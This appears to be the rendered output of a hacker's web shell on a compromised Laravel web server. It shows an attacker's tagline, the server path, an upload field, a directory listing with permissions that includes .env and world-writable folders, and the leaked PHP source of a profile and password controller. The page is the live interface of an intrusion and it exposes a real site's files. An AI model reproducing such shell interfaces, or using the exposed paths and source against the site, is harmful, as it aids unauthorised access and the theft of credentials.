I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
"public/backend/images/default/profile-default.webp", "image_path" => "public/frontend/user", 'user' => new UserResouce($user), ]; $message = ['success'=>['User Profile']]; return ApiResponse::success($message,$data); } /** * Profile Update * * @method POST * @param Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function profileUpdate(Request $request){ $validator = Validator::make($request->all(),[ 'first_name' => "required|string|max:60", 'last_name' => "required|string|max:60", 'image' => "nullable|image|mimes:jpg,png,svg,webp|max:10240", ]); $user = auth()->user(); if($validator->fails()){ $error = ['error' => [$validator->errors()->all()]]; return ApiResponse::validation($error); } $validated = $validator->validated(); $validated['firstname'] = $validated['first_name']; $validated['lastname'] = $validated['last_name']; if($request->hasFile('image')){ if($user->image == null){ $oldImage = null; }else{ $oldImage = $user->image; } $image = upload_file($validated['image'],'user-profile', $oldImage); $upload_image = upload_files_from_path_dynamic([$image['dev_path']],'user-profile'); delete_file($image['dev_path']); $validated['image'] = $upload_image; } try { $user->update($validated); } catch (\Throwable $th) { $error = ['error'=>[__('Something went wrong! Please try again')]]; return ApiResponse::error($error); } $message = ['success'=>[__('Profile successfully updated')]]; return ApiResponse::onlySuccess($message); } public function passwordUpdate(Request $request){ $basic_settings = BasicSettingsProvider::get(); $passowrd_rule = 'required|string|min:6|confirmed'; if($basic_settings->secure_password) { $passowrd_rule = ["required",Password::min(8)->letters()->mixedCase()->numbers()->symbols()->uncompromised(),"confirmed"]; } $validator = Validator::make($request->all(), [ 'current_password' => 'required|string|min:6', 'password' =>$passowrd_rule, ]); if($validator->fails()){ $error = ['error'=>$validator->errors()->all()]; return ApiResponse::validation($error); } $validated = $validator->validate(); if (!Hash::check($request->current_password, auth()->user()->password)) { $message = ['error' => ['Current password didn\'t match']]; return ApiResponse::error($message); } try { Auth::user()->update(['password' => Hash::make($validated['password'])]); $message = ['success' => [__('Password updated successfully')]]; return ApiResponse::onlySuccess($message); } catch (Exception $ex) { info($ex); $message = ['error' => [__('Something went wrong! Please try again')]]; return ApiResponse::error($message); } } }